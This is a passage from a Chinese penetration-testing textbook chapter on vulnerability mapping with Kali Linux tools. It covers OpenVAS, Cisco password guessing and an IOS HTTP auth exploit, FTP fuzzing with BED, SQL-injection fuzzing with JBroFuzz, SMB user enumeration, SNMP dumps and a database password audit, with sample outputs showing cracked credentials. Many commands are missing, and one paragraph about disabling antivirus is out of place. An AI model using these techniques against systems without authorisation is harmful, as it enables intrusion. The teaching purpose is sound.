漏洞映射旨在识别和分析目标环境中的决定性安全缺陷,有时也称为脆弱性评估。它是一种在IT基础设施的安全控制中探寻已知弱点的分析方法,是脆弱性管理计划的一个关键组成部分。测试人员在完成了信息收集、目标识别和服务枚举的相关工作后,就可着手分析目标设施中可能存在的安全漏洞。安全漏洞可能导致目标系统发生安全事故,有害于业务系统的保密性、完整性和可用性。
本章将要讨论安全漏洞的两种常见类型,阐述安全漏洞的各种分类标准,还会介绍Kali Linux系统提供的几款著名的脆弱性分析工具。这部分章节涵盖以下几个主题。
● 漏洞的两种常见类型:本地漏洞和远程漏洞。
● 漏洞分类的行业标准和分类的依据。
● 几款有助于査找并分析目标环境中存在的安全缺陷的安全工具。本章依据这些工具在安仝评估中的主要功能对它们进行了分类,把它们分为 OpenVAS 工具、Cisco 分析工具、模糊分析工具、SMB分析工具、SNMP分析工具和Web应用程序分析工具。
值得注意的是,在进行渗透测试(包括内部和外部)时,人工评估和自动化脆弱性分析都很等重要。完全依赖自动化测试工具获得的评估结果,可能会有假阳性(误报)和假阴性(漏报)的情况。同时,审计人员对技术评估工具的熟悉程度同样影响着渗透测试工作的质量。要保障渗透工作的长期质量,要在注重评估工具质量的同时,不断提高审计人员的技能水平。本质上说,自动化工具生成的脆弱性分析结果不可能是最终的评估结果;自动化工具不能识别逻辑错误、未发现的漏洞、未公布的软件缺陷,以及影响安全的人类因素。因此,应当同时结合自动化分析和人工分析的方法,综合评估安全漏洞,这将大幅度提升渗透测试工作的成功概率。
按照产生缺陷的不同阶段,漏洞可划分为以下三个大类:设计类、实施类和运营类。
● 设计类漏洞:在软件设计阶段,因软件规格指标设计不当而产生的安全弱点。
● 实施类漏洞:位于系统代码中的技术安全缺陷。
● 运营类漏洞:由于系统的配置或部署不当而导致的安全漏洞。
基于对这三个类别的分析,我们总结出了漏洞的两个通用类型,即本地漏洞和远程漏洞。上述三类类漏洞既可以是本地漏洞,也可以是远程漏洞。
在上述三类漏洞之中,哪种漏洞问题最难解决?
开发人员根据安全性需求指定系统安全规格,并依此在实施过程中实现各种安全指标。因此,解决设计类漏洞的时间最长。
攻击人员以本地(物理)访问方式,通过执行代码的手段才能触发的漏洞称为“本地漏洞”。攻击人员能够利用这种类型的漏洞提高自身的访问权限,不受限制地访问该计算机系统。
例如,Bob拥有访问MS Windows Server 2008(32 位x86 平台)服务器的本地权限。管理员通过某种安全策略限制了他的访问权限,禁止他运行特定的应用程序。在极端条件下,他发现恶意代码可让他获取该计算机的系统级别或内核级别权限。利用了著名的安全漏洞(例如,CVE-2013-0232、GP Trap Handler nt!KiTrap0D)之后,他提升了自己的权限等级,并能够进行管理级别的操作,可不受限制地执行应用程序。这个范例表明,恶意的安全对手可通过本地漏洞轻易地提升他们访问计算机系统的权限。
有关微软Windows权限提升漏洞CVE-2013-0232的详细资料,请参见http://www.exploit-db.com/exploits/11199/。
在物理上不接触主机的情况下,攻击人员使用恶意程序通过网络触发的系统漏洞,称作远程漏洞。这种类型的漏洞可使得攻击人员越过物理上的和本地上的限制,获取远程主机的访问权限。
例如,Bob和Alice分别联入互联网。他们的IP地址不同,分属不同的国家。假设Alice的电脑运行的操作系统是Windows XP,使用了生物学认证技术。再假如Bob 事先知道Alice主机的操作系统和IP地址。Bob极力想获取Alice电脑的远程控制权限。同时,他了解到可通过MS08-67 漏洞(Windows Server Service 的漏洞)远程攻击Windows XP 主机。
有关MS08-67,即微软Windows Server Service漏洞的详细信息,请参见http://www.exploit-db.com/exploits/6841/。
他使用了有关exploit程序获取了Alice主机的访问权限。
漏洞(vulnerability)和漏洞利用程序(exploit)的关系是什么?
漏洞是系统上存在的安全弱点。共计人员可利用有关漏洞或bug获取该主机的未经授权的操作权限。
随着近些年来技术领域的持续发展,人们也在不断总结安全漏洞的各种分类方法,期待以最合理的方式划分所有的常见漏洞。但是,就常见的影响系统安全的编程问题来说,还没有一种分类方法可以将之完全归纳。实际上,单一的漏洞可能分别属于多个类别或类型,这是现今分类方法都解决不了的问题。另外,每种系统平台都需要与外部环境进行交互,这又带来分类方法的关联性问题、复杂性问题和扩展性问题。如下列表格所示,本书列举了多种分类标准,希望有助您识别各种安全故障。值得一提的是,很多调查软件安全性问题的安全评估工具,已经采取了这些漏洞分类方法。
上述各种分类方法,分别以各自的方式将安全漏洞进行分类,以帮助信息安全有关人员和研发人员识别那些可能会影响系统安全性的特定错误。因此,这些分类方法并不具备学术上的完备性和精确性。
OpenVAS是一款封装了多种安全工具和安全服务的软件,是一个强大的漏洞管理平台。它采用了客户端/服务器的框架。其客户端测试目标主机网络漏洞的一系列操作,都是通过服务器端程序实现的。它的设计兼备模块化和稳定性的特点,支持并行安全测试,且兼容多种操作系统(Linux/Win32)。OpenVAS的核心组件和主要功能如下。
● OpenVAS scanner(扫描器):负责管理、执行各种网络漏洞测试(NVT,Network Vulnerability Test)。NVT的订阅服务提供每日更新。整个平台可通过订阅服务更新测试插件(参见http://www.openvas.org/nvt-feeds.html)。
● OpenVAS Client(客户端):即传统形式的桌面客工具和命令行工具(CLI)。它通过OTP协议(OpenVAS Transfer Protocol)控制扫描器。OTP相当于OpenVAS scanner的前段通信协议。
● OpenVAS Manager(管理程序):漏洞扫描平台的中央控制服务。管理程序仅负责集中存储配置文件和存储扫描结果。此外,它的OMP 协议(OpenVAS Management Protocol)完全基于 XML,可用于各种用途。OMP 可用于设置扫描计划、生成测试报告、筛选扫描结果和聚合活动。
● Greenbone Security Assistant(安全助手):工作于OMP 的Web 服务。它用于向用户提供一种基于OMP的Web客户端,方便用户配置、管理、控制具体的扫描操作。它的桌面版客户端程序叫做GSA Desktop,功能完全一样。此外,OpenVAS CLI(命令行工具)还支持在文本命令行下运行OMP协议的指令。
● OpenVAS administrator:负责用户管理和订阅更新。
OpenVAS使用的工具
OpenVAS集成的工具清单如下。
续表
设置OpenVAS的关键步骤如下。
1. 在桌面菜单中依此选中 Kali Linux | Vulnerability Analysis | OpenVAS | Openvas check setup,并按照程序的向导进行操作,以确定本机已经正确安装了 OpenVAS程序。然后按照提示,用默认的选项设置证书等项目;仅建议您在完全理解这些工具的情况下进行自定义设置。在您完成了每个FIX(修复)操作之后,您需要重新运行一次openvas check setup,直到它提示您已经成功配置好了这个程序。如图7.1所示,您同样可以在命令行窗口里启动这个程序。
2. 在桌面菜单中依此选中Kali Linux | Vulnerability Analysis | OpenVAS | Openvas check setup,创建一个OpenVAS 扫描所需的用户账号。在程序询问Authentication(pass/cert)时直接用回车键跳过该设置。在创建账号的最后一步,程序会要您为新建账号创建规则。如果您不需要设置特定规则,可使用Ctrl+D键直接退出。如果您要进行相应设置,可通过下述指令查看有关设置的帮助文件。
3. 在主机联入互联网的情况下,通过NVT的订阅服务更新OpenVAS的插件,即在桌面菜单中依次选中Kali Linux |VulnerabilityAssessment | OpenVAS | OpenVas NVTSync。
4. 接下来就需要启动 OpenVAS 的服务端程序,以使客户端程序能够进行操作。在桌面菜单中依次选中Kali Linux | Vulnerability Assessment | OpenVAS | OpenVas Server,并等待程序加载完毕。
图7.1
5. 最后,可启动OpenVAS客户端程序。在桌面菜单里,桌面菜单中依次选中Kali Linux | Vulnerability Assessment | OpenVAS | OpenVas Client。在客户端界面窗口出现之后,选择File|Connect连接到OpenVAS Server,然后输入在第1步和第2步里设置的账号信息。
如图7.2 所示,在客户端程序中输入登录信息,以连接到OpenVAS Server。
接下来要设置的参数是目标主机、选择合适的插件、提供登录所需的凭据,并指定必要的访问规则(如第2步所述)。设置好全局设置之后,在菜单中选中File | Scan Assistant,并输入4个主要步骤(任务、范围、目标以及执行)的详细佶息。在测试目标系统之前,系统将提示指定登录凭证,随后程序会进行测试工作。您选择的评估标准,决定了漏洞评估的时间长度。在完成评估的以后,程序会显示本次任务的评估报告(见图7.3)。
本例中,扫描任务的名称是CustomerUK。在程序窗口顶部的菜单里,选择Report | Export导出扫描报告,此时可以选择适合的报告格式(如NBE、XML、HTML、LaTex、TXT或PDF)。OpenVAS是一个功能强大的漏洞评估软件,它不仅能够在评估目标系统的决定性安全问题,而且还能生成内容全面的扫描报告。它的报告含有风险计量、漏洞细节、解决方案和相关网上资源等信息。
图7.2
图7.3
Cisco 公司是顶级网络设备商之一,目前大多公司和政府机构都采用了他们的设备。对于Cisco品牌的设备来说,它们比其他品牌的设备面临着更多的着攻击和威胁;而对于攻击人员来说,发掘这个品牌设备上的漏洞也比挖掘其他品牌设备的漏洞更为困难。Cisco品牌的硬件有路由器、交换机、安全设备、无线产品,软件产品如IOS、NX-OS、安全设备管理器、CiscoWorks、统一通信管理器等。可以说,在广受好评的技术产品中,有不少是Cisco 品牌的产品。在本节中,我们将演示Kali Linux 中提供的针对Cisco 产品的安全测试工具。
Cisco Auditing Tool 简称CAT,属于小型的安全审计工具。它可检测出Cisco 路由器上的常见漏洞,能够发现注入默认密码、默认SNMP字符串和老版本IOS上存在的bug问题。
如需启动CAT,可在菜单里依次选中Kali Linux | Vulnerability Analysis | Cisco Tools |cisco–auditing-tool。启动终端窗口之后,您将看到扫描目标主机可用的所有选项。如果您打算继续使用终端窗口,可执行下述指令。
上述指令将显示程序的全部选项、相关选项的使用说明和功能描述。它扫描Cisco设备的选项有以下几个。
● -h:指定主机名(在扫描单个主机的时候使用该选项)。
● -w:指定字典文件(以猜测团体字符串)。
● -a:指定密码列表(以穷举密码)。
● -i:及[ioshist](检查该IOS 在历史上出现过的bug)。
将这些选项组合将使用,可以暴力破解方式探测Cisco设备的密码、团体字符串和可能会再现的旧有IOS bug。在破解密码之前,要更新路径/pentest/cisco/cisco-auditingtool/lists 下的密码列表和社区字符串,以提髙破解成功的概率。而后,我们可在 Kali Linux的终端之中,使用下述指令进行扫描。
Cisco Auditing Tool - g0ne [null0]
Checking Host: ww.xx.yy.zz
Guessing passwords:
Invalid Password: diamond
Invalid Password: cmaker
Invalid Password: changeme
Invalid Password: cisco
Invalid Password: admin
Invalid Password: default
Invalid Password: Cisco
Invalid Password: ciscos
Invalid Password: cisco1
Invalid Password: router
Invalid Password: router1
Invalid Password: _Cisco
Invalid Password: blender
Password Found: pixadmin
...
Guessing Community Names:
Invalid Community Name: public
Invalid Community Name: private
Community Name Found: cisco
...
如需编辑密码字典和团体字符串字典,可在执行上述命令之前,在终端窗口中使用Vim 编辑器编辑字典文件。Vim编辑器的详细介绍,可通过下述指令进行查看。
Cisco设备有16种不同的权限级别,权限级别的代码从0(限制最严格的级别)到15(限制最少的级别)。在设置Cisco设备账户的时候,每个账户都应设置相应的权限等级。如需更详细的介绍,请参见http://www.cisco.com/en/US/docs/ios/12_2t/12_2t13/feature/guide/ftprienh.html。
Cisco Global Exploiter(CGE)是小型的Perl 脚本程序。它可测试Cisco 设备的14 种独立的漏洞。请注意只有特定类型的Cisco设备才会存在这些漏洞,所以这个程序不能完全满足Cisco安全评估的全部需要。篇幅所限,本书不会逐个讲解每个漏洞的具体信息。
如需启动CGE,可在菜单里依次选中Kali Linux | Vulnerability Analysis | Cisco Tools |cisco-global-exploiter,或在终端窗口中执行下述指令。
上述指令将显示程序的使用说明,并会按照顺序列出它能识别的14种漏洞。例如,在测试Cisco 878 集成服务路由器时,我们可以使用下述指令。
Vulnerability successful exploited with [http://10.200.213.25/level/17/exec/... ] ...
上述指令进行的是第3类测试——测试Cisco IOS HTTPAuth漏洞,而且程序成功地利用了某个漏洞。进行深入调查之后,您会发现其他类型的Cisco设备同样存在这种漏洞,而且您可以使用相似的手段利用这些漏洞。利用漏洞的过程如图7.4所示。
图7.4
有关这个漏洞的详细信息,请参见http://www.cisco.com/warp/public/707/cisco-sa-20010627-ios-http-level.shtml。
可见,这种基于 HTTP 的强行访问漏洞可让入侵人员执行路由器指令,而且并不验证他们的身份。
模糊分析是一种软件测试技术。审计人员和开发人员采用模糊分析技术,测试意外数据、无效数据和随机的数据输入对应用程序的影响。人们关注应用程序在模糊测试中出现的异常状态和崩溃问题。这种测试技术可深度揭露软件所隐含的其他测试手段不可能挖掘出来的漏洞。它能发现的漏洞有缓冲区溢出、格式化字符串、代码注入、迷途指针、竞争条件、拒绝服务条件和许多其他类型的漏洞。
Kali Linux 带有多种模糊测试工具。这些工具可以测试文件格式、网络协议、命令行输入、环境变量和Web应用。不可信的数据输入源都会输入不安全的和不一致的数据。例如, Web 应用程序和互联网用户之间的信任边界不可预知。既然如此,就应当对所有可能的数据输入都进行尝试(模糊测试),以验证巳知和未知的漏洞。模糊分析是一种相对简单有效的测试方法,可用于质量保证和安全测试。由于这个原因,它有时也被称为健壮性测试(robustness testing)或否定测试(negative testing)。
模糊分析的关键步骤是什么?
通常认为,模糊测试由6 个步骤组成。这些步骤分别是识别目标、识别输入、生成模糊测试数据、执行模糊数据、监控输出和鉴别问题的可利用性(是否是exploit)。有关细节,请参见Fuzzing:Brute Force Vulnerability Discovery的ppt文件。该文件可在下述网址下载:http://recon.cx/en/f/msutton-fuzzing.ppt。
Bruteforce Exploit Detector(BED)是纯文本协议的模糊测试工具,用于检测软件常见漏洞。它可以检测出缓冲区溢出漏洞、格式化字符串漏洞、整数溢出、DoS条件等漏洞。BED 程序可以根据指定的协议,自动发送含有问题字符串的命令组合,以测试目标的处理方式。它目前支持的协议包括ftp、smtp、pop、http、irc、imap、pjl、lpd、finger、socks4和socks5。
如需启动BED 程序,可在菜单中依次选中Kali Linux | Vulnerability Analysis | Fuzzing Tools | bed,或者在shell 中使用下述指令。
上述指令将显示它的使用说明。如需查看某个协议的插件的详细说明,可使用下述指令。
该指令将介绍 FTP 插件的参数。在进行测试之前,我们通过该指令了解到这个插件需要-u用户名和-v密码这两个参数。接下来,我们利用BED测试目标系统的FTP守护进程。
BED 0.5 by mjm( www.codito.de ) & eric ( www.snake-basket.de)
testing: 1 USER XAXAX ...........
testing: 2 USER ftpuserPASS XAXAX ...........
testing: 1 USER XAXAX .......
testing: 2 USER ftpuserPASS XAXAX .......
Normal tests
Buffer overflow testing:
testing: 1 ACCT XAXAX ...........
testing: 2 APPE XAXAX ...........
testing: 3 ALLO XAXAX ...........
testing: 4 CWD XAXAX ...........
testing: 5 CEL XAXAX ...........
testing: 6 DELE XAXAX ...........
testing: 7 HELP XAXAX ...........
testing: 8 MDTM XAXAX ...........
testing: 9 MLST XAXAX ...........
testing: 10 MODE XAXAX ...........
testing: 11 MKD XAXAX ...........
testing: 12 MKD XAXAXCWD XAXAX ...........
testing: 13 MKD XAXAXDELE XAXAX ...........
testing: 14 MKD XAXAXRMD XAXAX .....connection
attempt failed: No route to host
上述信息表明,FTP守护程序在第14项测试的时候中断了连接。这可能是个潜在的缓冲区溢出问题。但是我们还需要调查特定测试模块,检查测试指令(参考文件/pentest/fuzzers/bed/bedmod/ftp.pm),以进行进一步调查。将目标程序恢复到正常状态再进行两次重复试验、增加BED的超时时间(-o),都是确认问题可重复出现的良好习惯。
JBroFuzz是对Web应用程序进行模糊测试的著名平台。它可模拟HTTP协议和HTTPS协议的Web请求。获悉要测试的域名和测试的URL部分之后,审计人员可以自己手工构造测试的请求,也可以使用程序预定义的payload数据库,生成基于已知漏洞的恶意请求,再把这些请求发送到目标服务器以进行模糊测试。JbroFuzz 的数据库能够帮助审计人员进行XSS、SQL 注入、缓冲区溢出、格式字符串错误等问题的自动化测试。而后,程序会记录目标的相应回复,以供进一步检査。基于执行测试的类型,审计人员应当手动调查服务器的响应或结果,以便识别出任何可能存在的漏洞。
JBroFuzz的关键功能包括模糊管理、payload的分类处理、通过浏览器的代理服务器嗅探 Web 请求和回复、枚举网站目录等。这些功能都是应用协议模糊测试不可或缺的组成部分。
如需启动JBroFuzz程序,可在终端中使用下述指令。
JBroFuzz 界面之中有大量的选项设置,这些选项都有详细的描述和说明。如果您需要查看帮助,可在菜单栏中选择Help | Topics,进入图7.5 所示的界面。
接下来,我们通过下述步骤测试一个Web应用程序。
1. 设定目标域的URL为http://testasp.targetdomain.com。这是一个基于ASP的Web应用程序。为满足测试需求的实际需要,我们还要在Request面板中将HTTP请求调整为如下所示。
图7.5
GET /showthread.asp?id=4 HTTP/1.0
Host: testasp.example.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB;
rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10
Accept: text/html,application/xhtml+xml,application/
xml;q=0.9,/;q=0.8
Accept-Language: en-gb,en;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
2. 在构造测试请求数据之前,我们已经知道这台服务器上存在一个 URL:http://testasp.example.com/showthread.asp?id=4。
3. 创建一个手工构造的测试请求,并选择URL的一部分(id=4)进行SQL注入的测试。
4. 选中第一行里的数字值4,然后点击顶部菜单条里的加号(+)按钮。
5. 在新弹出的窗口里,选择SQL Injection分类,并设置模糊测试的名称为SQL Injection,然后点击Add Fuzzer按钮。
6. 设置好模糊测试任务之后,主程序窗口的右侧边角的Added Payloads Table标签里,将会显示这个测试任务。
如果您的操作完全遵循上述步骤,那么您现在就可以对目标主机的Web应用程序进行SQL注入漏洞的模糊测试。
可通过菜单Panel|Start或快捷键Ctrl+Enter启动测试任务。在程序处理测试请求的时候,您将在Request面板里看到程序发送的请求。另外,如果要观察每个HTTP/HTTPS的处理进度,可点击On The Wire 标签查看。在它完成模糊测试之后,可调查每个测试请求的响应结果。可在Output 窗口中使用鼠标右键点击特定的服务器响应,然后选择Open in Browser选项。目标对我们发送的测试请求返回了下述信息,它很可能是SQL注入漏洞的现象。
HTTP/1.1 500 Internal Server Error Connection:close Date: Sat, 04
Sep 2013 21:59:06 GMT Server: Microsoft-IIS/6.0 X-Powered-By:
ASP.NET Content-Length: 302 Content-Type: text/html Set-Cookie: ASPS ESSIONIDQADTCRCB=KBLKHENAJBNNKIOKKAJJFCDI;
path=/ Cache-control: private
Microsoft SQL Native Client error '80040e14'
Unclosed quotation mark after the character string ''.
/showthread.asp, line 9
在Windows系统中安装Metasploit时,应该禁用防病毒软件,因为有些安装文件会被其检测为潜在的病毒或威胁,从而阻塞安装过程。有关这个程序的详细信息,请参见?http://wiki191.owasp.org/index.php/Category:OWASP_JbroFuzz。
Server Message Block(SMB)是应用层协议,通常用于文件和打印机共享服务。此外,它还可将网络中不同节点的串口服务和其他通信协议共享。SMB 又称为 CIFS(Common Internet File System)。
SMB采用了单纯的客户端/服务器的CS架构,而且兼容Linux和Windows等多种平台。NetBIOS(Network BasicInput Output System)是SMB 协议的组成部分,用于Windows系统的传输服务。NetBIOS 工作于 TCP/IP 协议(NBT),因此同一局域网内的每台电脑都可通过唯一的网络名称和IP地址与另一台电脑进行通信。
此外,对于DEC/RPC服务程序实现的网络节点间IPC(跨进程通信)而言,其认证通道同样使用SMB协议。也就是说,不同电脑、不同进程间都可通过SMB的认证通道进行数据交换。NetBIOS服务通常在不同的TCP端口和UDP端口(135、137、138、139、445)上提供不同的服务。因为SMB功能强大而防护能力脆弱,所以它是黑客的首要攻击目标。人们曾经曝光了SMB协议的大量漏洞,这些漏洞都为入侵者敞开了方便之门。本节将介绍获取SMB信息的多个工具,它们可获取主机名、运行服务、域控制器、MAC地址、操作系统类型、当前登录用户、隐藏共享、时间信息、用户群组、当前会话、打印机、可用磁盘等信息。
如需了解SMB、NetBIOS和相关协议的详细信息,请参见http://timothydevans.me.uk/nbf2cifs/book1.html。
ImpacketSamrdump
Samrdump 是获取主机敏感信息的工具。它通过 DCE/RPC(Distributed Computing Environment/Remote Procedure Call)服务调用 SAM(安全账户管理器,Security Account Manager)的远程接口,继而获取信息。它可列举同一局域网内的目标主机上的所有的系统共享、用户账户和其他信息。
如需启动ImpacketSamrdump,可在shell中执行下述指令。
上述指令将显示它的使用说明和必要的语法简介。简单的说,python samrdump.py user:pass@ip port/SMB这样的指令就可对指定目标的指定端口(139或445)进行检测。
Retrieving endpoint list from 192.168.0.7
Trying protocol 445/SMB...
Found domain(s):
. CUSTDESK
. Builtin
Looking up users in domain CUSTDESK
Found user: Administrator, uid = 500
Found user: ASPNET, uid = 1005
Found user: Guest, uid = 501
Found user: h4x, uid = 1010
Found user: HelpAssistant, uid = 1000
Found user: IUSR_MODESK, uid = 1004
Found user: IWAM_MODESK, uid = 1009
Found user: MoDesktop, uid = 1003
Found user: SUPPORT_388945a0, uid = 1002
Administrator (500)/Enabled: true
...
上述指令列出了远程主机上的全部用户名。在Samrdump的指令之中,目标主机的用户名和密码并不是必选项;在指定用户名和密码时,该指令将能返回其他方式获取不到的更多信息。利用上述信息,我们可检查在共享文件中搜索敏感数据,访问其他用户,进而揭示更有价值的信息。
SNMP(Simple Network Management Protocol)是一个运行于UDP 协议161 端口的应用层协议。SNMP 协议主要用于网络设备运行状态的监控,以关注需要管理员干预的事件,及时了解诸如电源断电、网络不可达等网络运行情况。采用了SNMP管理技术的网络结构,通常由网络设备、管理端和代理端组成。
管理端程序负责网络管理和状态监控的管理任务。代理端是网络设备运行的软件。可运行客户端程序的网络设备包括支持SNMP协议路由器、交换机、集线器、网络摄像头、网桥,以及安装客户端程序的操作系统(Linux、Windows)主机。安装了代理端程序的设备通过SNMP协议向管理端报告设备带宽、正常运行时间、运行进程、网络接口、系统服务等数据信息。SNMP 信息通过多个变量分别描述了系统不同方面的配置情况。SNMP 信息采用 MIB(Management Information Base)的层次结构方式组织消息中的各种变量,每个变量有确定的唯一对象标识符(Object Identifier,OID)。SNMP 协议共有三个版本,即v1、v2和v3。
以安全角度看,vl和v2版本的方案均是通过团体字符串实现安全防护。而v3在保密性、完整性和身份验证方面的功能更好。本文介绍的工具主要针对基于vl和v2c的SNMP设备。
如需深入了解SNMP协议,请参见http://www. tech-faq.com/snmp.html。
SNMP Walk
SNMP Walk是一个功能强大的SNMP信息采集工具。它可依据设备类型提取所有配置数据。这些信息将对攻击的后续工作非常有用。此外,SNMP Walk 可针对性地获取单组MIB数据或特定OID值。
如需启动SNMP Walk 程序,可在终端中使用下述指令。
上述命令将显示该程序的使用说明和选项说明。SNMP Walk 可以使用三种不同版本的SNMP协议(即vl、v2c和v3),这也是它的主要优势所在。在远程设备使用的SNMP协议不能向下兼容时,这一优势将发挥作用。本例将使用下述指令,在指令行中分别以v1和v2c版本的SNMP协议获取远程主机的信息。
SNMPv2-MIB::sysDescr.0 = STRING: Hardware: x86 Family 15 Model 4
Stepping 1 AT/AT COMPATIBLE - Software: Windows Version 5.2 (Build 3790 Multiprocessor Free)
SNMPv2-MIB::sysObjectID.0 = OID: SNMPv2-SMI::enterprises.311.1.1.3.1.2
DISMAN-EVENT-MIB::sysUpTimeInstance = Timeticks: (1471010940) 170 days, 6:08:29.40
SNMPv2-MIB::sysContact.0 = STRING:
SNMPv2-MIB::sysName.0 = STRING: CVMBC-UNITY
SNMPv2-MIB::sysLocation.0 = STRING:
SNMPv2-MIB::sysServices.0 = INTEGER: 76
IF-MIB::ifNumber.0 = INTEGER: 4
IF-MIB::ifIndex.1 = INTEGER: 1
IF-MIB::ifIndex.65538 = INTEGER: 65538
IF-MIB::ifIndex.65539 = INTEGER: 65539
IF-MIB::ifIndex.65540 = INTEGER: 65540
IF-MIB::ifDescr.1 = STRING: Internal loopback interface for 127.0.0 network
IF-MIB::ifDescr.65538 = STRING: Internal RAS Server interface for dial in clients
IF-MIB::ifDescr.65539 = STRING: HP NC7782 Gigabit Server Adapter #2
IF-MIB::ifDescr.65540 = STRING: HP NC7782 Gigabit Server Adapter
IF-MIB::ifType.1 = INTEGER: softwareLoopback(24)
IF-MIB::ifType.65538 = INTEGER: ppp(23)
IF-MIB::ifType.65539 = INTEGER: ethernetCsmacd(6)
IF-MIB::ifType.65540 = INTEGER: ethernetCsmacd(6)
IF-MIB::ifMtu.1 = INTEGER: 32768
IF-MIB::ifMtu.65538 = INTEGER: 0
IF-MIB::ifMtu.65539 = INTEGER: 1500
...
IF-MIB::ifPhysAddress.65539 = STRING: 0:13:21:c8:69:b2
IF-MIB::ifPhysAddress.65540 = STRING: 0:13:21:c8:69:b3
IF-MIB::ifAdminStatus.1 = INTEGER: up(1)
...
IP-MIB::ipAdEntAddr.127.0.0.1 = IpAddress: 127.0.0.1
IP-MIB::ipAdEntAddr.192.168.1.3 = IpAddress: 192.168.1.3
IP-MIB::ipAdEntAddr.192.168.1.100 = IpAddress: 192.168.1.100
IP-MIB::ipAdEntAddr.10.20.127.52 = IpAddress: 10.20.127.52
IP-MIB::ipAdEntIfIndex.127.0.0.1 = INTEGER: 1
IP-MIB::ipAdEntIfIndex.192.168.1.3 = INTEGER: 65540
IP-MIB::ipAdEntIfIndex.192.168.1.100 = INTEGER: 65538
IP-MIB::ipAdEntIfIndex.10.20.127.52 = INTEGER: 65539
IP-MIB::ipAdEntNetMask.127.0.0.1 = IpAddress: 255.0.0.0
IP-MIB::ipAdEntNetMask.192.168.1.3 = IpAddress: 255.255.255.0
IP-MIB::ipAdEntNetMask.192.168.1.100 = IpAddress: 255.255.255.255
IP-MIB::ipAdEntNetMask.10.20.127.52 = IpAddress: 255.255.255.248
IP-MIB::ipAdEntBcastAddr.127.0.0.1 = INTEGER: 1
IP-MIB::ipAdEntBcastAddr.192.168.1.3 = INTEGER: 1
IP-MIB::ipAdEntBcastAddr.192.168.1.100 = INTEGER: 1
IP-MIB::ipAdEntBcastAddr.10.20.127.52 = INTEGER: 1
IP-MIB::ipAdEntReasmMaxSize.127.0.0.1 = INTEGER: 65535
IP-MIB::ipAdEntReasmMaxSize.192.168.1.3 = INTEGER: 65535
IP-MIB::ipAdEntReasmMaxSize.192.168.1.100 = INTEGER: 65535
IP-MIB::ipAdEntReasmMaxSize.10.20.127.52 = INTEGER: 65535
RFC1213-MIB::ipRouteDest.0.0.0.0 = IpAddress: 0.0.0.0
RFC1213-MIB::ipRouteDest.127.0.0.0 = IpAddress: 127.0.0.0
RFC1213-MIB::ipRouteDest.127.0.0.1 = IpAddress: 127.0.0.1
RFC1213-MIB::ipRouteDest.192.168.1.0 = IpAddress: 192.168.1.0
RFC1213-MIB::ipRouteDest.192.168.1.3 = IpAddress: 192.168.1.3
RFC1213-MIB::ipRouteDest.192.168.1.100 = IpAddress: 192.168.1.100
RFC1213-MIB::ipRouteDest.192.168.1.255 = IpAddress: 192.168.1.255
RFC1213-MIB::ipRouteDest.10.20.127.48 = IpAddress: 10.20.127.48
RFC1213-MIB::ipRouteDest.10.20.127.52 = IpAddress: 10.20.127.52
RFC1213-MIB::ipRouteDest.10.20.127.255 = IpAddress: 10.20.127.255
...
上述指令的输出信息可帮助我们深入地了解目标主机。其中,选项-c 用于指定提取MIB 所需的团体字符串,-O 选项将输出结果以可读的文本(T)形式进行输出,-L选项将数据保存为文件(f snmpwalk.txt)。如需详细了解SNMP Walk 各种使用方法,可访问网址http://net-snmp.sourceforge.net/wiki/index.php/TUT:snmpwalk。渗透测试人员获取的信息量越多,他们对目标网络架构理解得越透彻。
现在的应用程序大多采用了多种Web技术,这不仅增加了程序问题的复杂性,而且增加了敏感数据泄露的风险。一直以来,Web 应用程序从始至终都是恶意对手窃取、操纵、破坏和敲诈企业业务的目标。Web 应用程序的大量普及,也给渗透测试人员带来了前所未有的巨大挑战。Web 应用程序(前端)和数据库(后端)都是加固网络安全的重点。Web应用程序扮演着数据处理系统的角色,而数据库负责存储敏感数据(例如信用卡号、用户信息、认证数据等),所以两者的安全性都要兼顾。
本节把Web应用程序的安全分析分为“Web应用程序测试”和“数据库测试”两个部分。虽然如此,我们应该非常清楚二者之间的关系,以及它们组成的复合技术架构。Kali Linux 提供了多款能够对 Web 应用程序和数据库程序进行综合评估分析的安全评估工具。也就是说,有些工具能够通过Web应用程序(即前端)攻击后台数据库(如SQL注入)。
本节将介绍 Kali Linux 的三款数据库分析工具。这三款分析工具分别用于 MS-SQL、MySQL 和 Oracle 数据库的安全测试。本文会逐一演示它们的基本功能和功能。这些工具主要用于数据库的指纹指纹、服务枚举、密码审计,以及评估目标系统遭受SQL注入攻击的可能性。审计人员可利用这些工具掌握前端的Web漏洞,并同时发现后台数据库的安全弱点。
如需详细了解 SQL 诸如攻击及有关类型,请参见 http:// hakipedia.com/index.php/SQL_Injection。
1.DBPwAudit
DBPwAudit是一款审计Oracle、MySQL、MS-SQL 和IBM DB2 服务器密码安全性的工具,它是Java程序。这款工具大幅度地简化了使用新数据库(评估)技术的难度。在目标系统没有采用强密码安全策略的情况下,它可帮助渗透测试人员找到数据库管理系统的有效账户。目前,它支持字典式密码攻击机制。
如需启动 DBPwAudit 程序,可在桌面菜单里依次选中 Kali Linux | Vulnerability Analysis | Database Assessment | dbpwaudit,或者在shell 中使用下述指令。
上述指令将在屏幕上显示程序的所有选项及使用说明。如需知道DBPwAudit可以驱动的数据库类型,可使用下述指令。
上述指令将列出该程序可以审计的数据库类型。特别要注意数据库系统的别名(aliases),在命令行中指定数据库类型时要使用数据库的别名。
本文将演示该程序审计MySQL数据的方法。在此之前,我们首先要安装好MySQL驱动程序。在安装好MySQL驱动程序之后,我们可测试目标数据库系统是否含有常见账户。在进行字典式测试之前,我们需要提前准备好两个字典文件,即users.txt和passwwords.txt。然后使用下述指令。
passwords.txt
DBPwAudit v0.8 by Patrik Karlsson?[email?protected]
[Tue Sep 14 17:55:41 UTC 2013] Starting password audit ...
[Tue Sep 14 17:55:41 UTC 2013] Testing user: root, pass: admin123
[Tue Sep 14 17:55:41 UTC 2013] Testing user: pokertab, pass: admin123
ERROR: message: Access denied for user 'root'@'10.2.206.18' (using password: YES), code: 1045
[Tue Sep 14 17:55:50 UTC 2013] Testing user: root, pass: RolVer123
ERROR: message: Access denied for user 'pokertab'@'10.2.206.18' (using password: YES), code: 1045
[Tue Sep 14 17:55:56 UTC 2013] Testing user: pokertab, pass: RolVer123
...
[Tue Sep 14 17:56:51 UTC 2013] Finnishing password audit ...
Results for password scan against 10.2.251.24 using provider MySQL
user: pokertab pass: RolVer123
